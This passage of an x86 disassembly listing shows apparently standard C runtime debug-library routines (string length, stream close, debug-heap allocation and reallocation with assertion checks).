					; sub_41BC70+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BC90
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BCE1
		test	ah, ah
		jz	short loc_41BCD7
		test	eax, 0FF0000h
		jz	short loc_41BCCD
		test	eax, 0FF000000h
		jz	short loc_41BCC3
		jmp	short loc_41BC90
; ---------------------------------------------------------------------------

loc_41BCC3:				; CODE XREF: sub_41BC70+11j
					; sub_41BC70+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BCCD:				; CODE XREF: sub_41BC70+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BCD7:				; CODE XREF: sub_41BC70+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BCE1:				; CODE XREF: sub_41BC70+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41BC70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCF0	proc near		; CODE XREF: sub_4010AA+62p
					; sub_401C87+5997p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh

loc_41BCFE:				; CODE XREF: sub_41BCF0+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BD22
		push	offset dword_43C504
		push	0
		push	3Ah
		push	offset dword_43C4F8
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BD22
		int	3		; Trap to Debugger

loc_41BD22:				; CODE XREF: sub_41BCF0+12j
					; sub_41BCF0+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41BCFE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41BD41
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_41BD68
; ---------------------------------------------------------------------------

loc_41BD41:				; CODE XREF: sub_41BCF0+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422420
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41BD80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422490
		add	esp, 4

loc_41BD68:				; CODE XREF: sub_41BCF0+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BCF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD80	proc near		; CODE XREF: sub_41BCF0+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax

loc_41BD96:				; CODE XREF: sub_41BD80+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BDBA
		push	offset dword_43C514
		push	0
		push	77h
		push	offset dword_43C4F8
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BDBA
		int	3		; Trap to Debugger

loc_41BDBA:				; CODE XREF: sub_41BD80+1Aj
					; sub_41BD80+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BD96
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41BE2A
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_422F20
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_422DE0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_422CB0
		add	esp, 4
		test	eax, eax
		jge	short loc_41BE06
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE2A
; ---------------------------------------------------------------------------

loc_41BE06:				; CODE XREF: sub_41BD80+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_41BE2A
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0

loc_41BE2A:				; CODE XREF: sub_41BD80+4Dj
					; sub_41BD80+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_4010AA+6p
					; sub_40ADC9+63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, dword_4F3434
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BEC0
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_41C2D0+20p
					; sub_41C3F0+26p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, dword_4F3434
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BEC0
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEA0	proc near		; CODE XREF: sub_420C30+Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BEC0
		add	esp, 14h
		pop	ebp
		retn
sub_41BEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEC0	proc near		; CODE XREF: sub_41BE40+14p
					; sub_41BE70+1Ap ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041BF28 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C548
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi

loc_41BEE3:				; CODE XREF: sub_41BEC0:loc_41BF4Dj
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BF80
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41BF1D
		jmp	short loc_41BF28
sub_41BEC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF1D	proc near		; CODE XREF: sub_41BEC0+56p
					; DATA XREF: .packed:0043C550o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41BF1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BEC0

loc_41BF28:				; CODE XREF: sub_41BEC0+5Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_41BF34
		cmp	[ebp+arg_4], 0
		jnz	short loc_41BF39

loc_41BF34:				; CODE XREF: sub_41BEC0+6Cj
		mov	eax, [ebp+var_1C]
		jmp	short loc_41BF4F
; ---------------------------------------------------------------------------

loc_41BF39:				; CODE XREF: sub_41BEC0+72j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423170
		add	esp, 4
		test	eax, eax
		jnz	short loc_41BF4D
		xor	eax, eax
		jmp	short loc_41BF4F
; ---------------------------------------------------------------------------

loc_41BF4D:				; CODE XREF: sub_41BEC0+87j
		jmp	short loc_41BEE3
; ---------------------------------------------------------------------------

loc_41BF4F:				; CODE XREF: sub_41BEC0+77j
					; sub_41BEC0+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41BEC0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41BF80
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF80	proc near		; CODE XREF: sub_41BEC0+44p
					; .packed:0041BF6Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, dword_4518A0
		and	eax, 4
		test	eax, eax
		jz	short loc_41BFCC

loc_41BF9C:				; CODE XREF: sub_41BF80+4Aj
		call	sub_41D1D0
		test	eax, eax
		jnz	short loc_41BFC6
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	14Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41BFC6
		int	3		; Trap to Debugger

loc_41BFC6:				; CODE XREF: sub_41BF80+23j
					; sub_41BF80+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BF9C

loc_41BFCC:				; CODE XREF: sub_41BF80+1Aj
		mov	edx, dword_4518A4
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, dword_4518A8
		jnz	short loc_41BFE1
		int	3		; Trap to Debugger

loc_41BFE1:				; CODE XREF: sub_41BF80+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		push	1
		call	off_451C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41C064
		cmp	[ebp+arg_8], 0
		jz	short loc_41C037

loc_41C00C:				; CODE XREF: sub_41BF80+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41C02F
		int	3		; Trap to Debugger

loc_41C02F:				; CODE XREF: sub_41BF80+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C00C
		jmp	short loc_41C05D
; ---------------------------------------------------------------------------

loc_41C037:				; CODE XREF: sub_41BF80+8Aj
					; sub_41BF80+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C057
		int	3		; Trap to Debugger

loc_41C057:				; CODE XREF: sub_41BF80+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C037

loc_41C05D:				; CODE XREF: sub_41BF80+B5j
		xor	eax, eax
		jmp	loc_41C28C
; ---------------------------------------------------------------------------

loc_41C064:				; CODE XREF: sub_41BF80+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41C086
		mov	edx, dword_4518A0
		and	edx, 1
		test	edx, edx
		jnz	short loc_41C086
		mov	[ebp+var_C], 1

loc_41C086:				; CODE XREF: sub_41BF80+F0j
					; sub_41BF80+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41C097
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_41C0C3

loc_41C097:				; CODE XREF: sub_41BF80+10Aj
					; sub_41BF80+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C0B6
		int	3		; Trap to Debugger

loc_41C0B6:				; CODE XREF: sub_41BF80+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C097
		xor	eax, eax
		jmp	loc_41C28C
; ---------------------------------------------------------------------------

loc_41C0C3:				; CODE XREF: sub_41BF80+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41C110
		cmp	[ebp+arg_4], 1
		jz	short loc_41C110
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41C110
		cmp	[ebp+arg_4], 3
		jz	short loc_41C110

loc_41C0EA:				; CODE XREF: sub_41BF80+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C10A
		int	3		; Trap to Debugger

loc_41C10A:				; CODE XREF: sub_41BF80+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C0EA

loc_41C110:				; CODE XREF: sub_41BF80+14Ej
					; sub_41BF80+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4234C0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41C135
		xor	eax, eax
		jmp	loc_41C28C
; ---------------------------------------------------------------------------

loc_41C135:				; CODE XREF: sub_41BF80+1ACj
		mov	edx, dword_4518A4
		add	edx, 1
		mov	dword_4518A4, edx
		cmp	[ebp+var_C], 0
		jz	short loc_41C193
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_41C233
; ---------------------------------------------------------------------------

loc_41C193:				; CODE XREF: sub_41BF80+1C8j
		mov	edx, dword_4F33A4
		add	edx, [ebp+arg_0]
		mov	dword_4F33A4, edx
		mov	eax, dword_4F33AC
		add	eax, [ebp+arg_0]
		mov	dword_4F33AC, eax
		mov	ecx, dword_4F33AC
		cmp	ecx, dword_4F33B0
		jbe	short loc_41C1C9
		mov	edx, dword_4F33AC
		mov	dword_4F33B0, edx

loc_41C1C9:				; CODE XREF: sub_41BF80+23Bj
		cmp	dword_4F33A8, 0
		jz	short loc_41C1DF
		mov	eax, dword_4F33A8
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C1DF:				; CODE XREF: sub_41BF80+250j
		mov	edx, [ebp+var_4]
		mov	dword_4F33A0, edx

loc_41C1E8:				; CODE XREF: sub_41BF80+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4F33A8
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	dword_4F33A8, ecx

loc_41C233:				; CODE XREF: sub_41BF80+20Ej
		push	4
		xor	edx, edx
		mov	dl, byte_4518AC
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, byte_4518AC
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_41E4B0
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, byte_4518AE
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_41E4B0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h

loc_41C28C:				; CODE XREF: sub_41BF80+DFj
					; sub_41BF80+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BF80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41C2D0
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2D0	proc near		; CODE XREF: .packed:0041C2B2p
					; sub_4222D0+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41C329
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_41C310:				; CODE XREF: sub_41C2D0+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_41C329
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_41C310
; ---------------------------------------------------------------------------

loc_41C329:				; CODE XREF: sub_41C2D0+2Fj
					; sub_41C2D0+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41C2D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C330	proc near		; CODE XREF: sub_4010AA+2Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C360
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41C330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: sub_41C330+12p
					; sub_420C50+50p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041C3CE SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C630
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C3F0
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C3C3
		jmp	short loc_41C3CE
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3C3	proc near		; CODE XREF: sub_41C360+5Cp
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41C3C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C360

loc_41C3CE:				; CODE XREF: sub_41C360+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C360
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3F0	proc near		; CODE XREF: sub_41C360+4Ap
					; sub_41C940+4Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C423
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41BE70
		add	esp, 10h
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C423:				; CODE XREF: sub_41C3F0+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_41C446
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C446
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41CA10
		add	esp, 8
		xor	eax, eax
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C446:				; CODE XREF: sub_41C3F0+37j
					; sub_41C3F0+3Dj
		mov	eax, dword_4518A0
		and	eax, 4
		test	eax, eax
		jz	short loc_41C482

loc_41C452:				; CODE XREF: sub_41C3F0+90j
		call	sub_41D1D0
		test	eax, eax
		jnz	short loc_41C47C
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	246h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C47C
		int	3		; Trap to Debugger

loc_41C47C:				; CODE XREF: sub_41C3F0+69j
					; sub_41C3F0+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C452

loc_41C482:				; CODE XREF: sub_41C3F0+60j
		mov	edx, dword_4518A4
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, dword_4518A8
		jnz	short loc_41C497
		int	3		; Trap to Debugger

loc_41C497:				; CODE XREF: sub_41C3F0+A4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	off_451C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41C51C
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4EF

loc_41C4C4:				; CODE XREF: sub_41C3F0+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41C4E7
		int	3		; Trap to Debugger

loc_41C4E7:				; CODE XREF: sub_41C3F0+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C4C4
		jmp	short loc_41C515
; ---------------------------------------------------------------------------

loc_41C4EF:				; CODE XREF: sub_41C3F0+D2j
					; sub_41C3F0+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C50F
		int	3		; Trap to Debugger

loc_41C50F:				; CODE XREF: sub_41C3F0+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C4EF

loc_41C515:				; CODE XREF: sub_41C3F0+FDj
		xor	eax, eax
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C51C:				; CODE XREF: sub_41C3F0+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_41C54E

loc_41C522:				; CODE XREF: sub_41C3F0+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C541
		int	3		; Trap to Debugger

loc_41C541:				; CODE XREF: sub_41C3F0+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C522
		xor	eax, eax
		jmp	loc_41C8FA
; ---------------------------------------------------------------------------

loc_41C54E:				; CODE XREF: sub_41C3F0+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_41C596
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41C596
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_41C596

loc_41C570:				; CODE XREF: sub_41C3F0+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C590
		int	3		; Trap to Debugger

loc_41C590:				; CODE XREF: sub_41C3F0+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C570

loc_41C596:				; CODE XREF: sub_41C3F0+162j
					; sub_41C3F0+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41D6B0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41C5C7
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	26Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C5C7
		int	3		; Trap to Debugger

loc_41C5C7:				; CODE XREF: sub_41C3F0+1B4j
					; sub_41C3F0+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C596
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
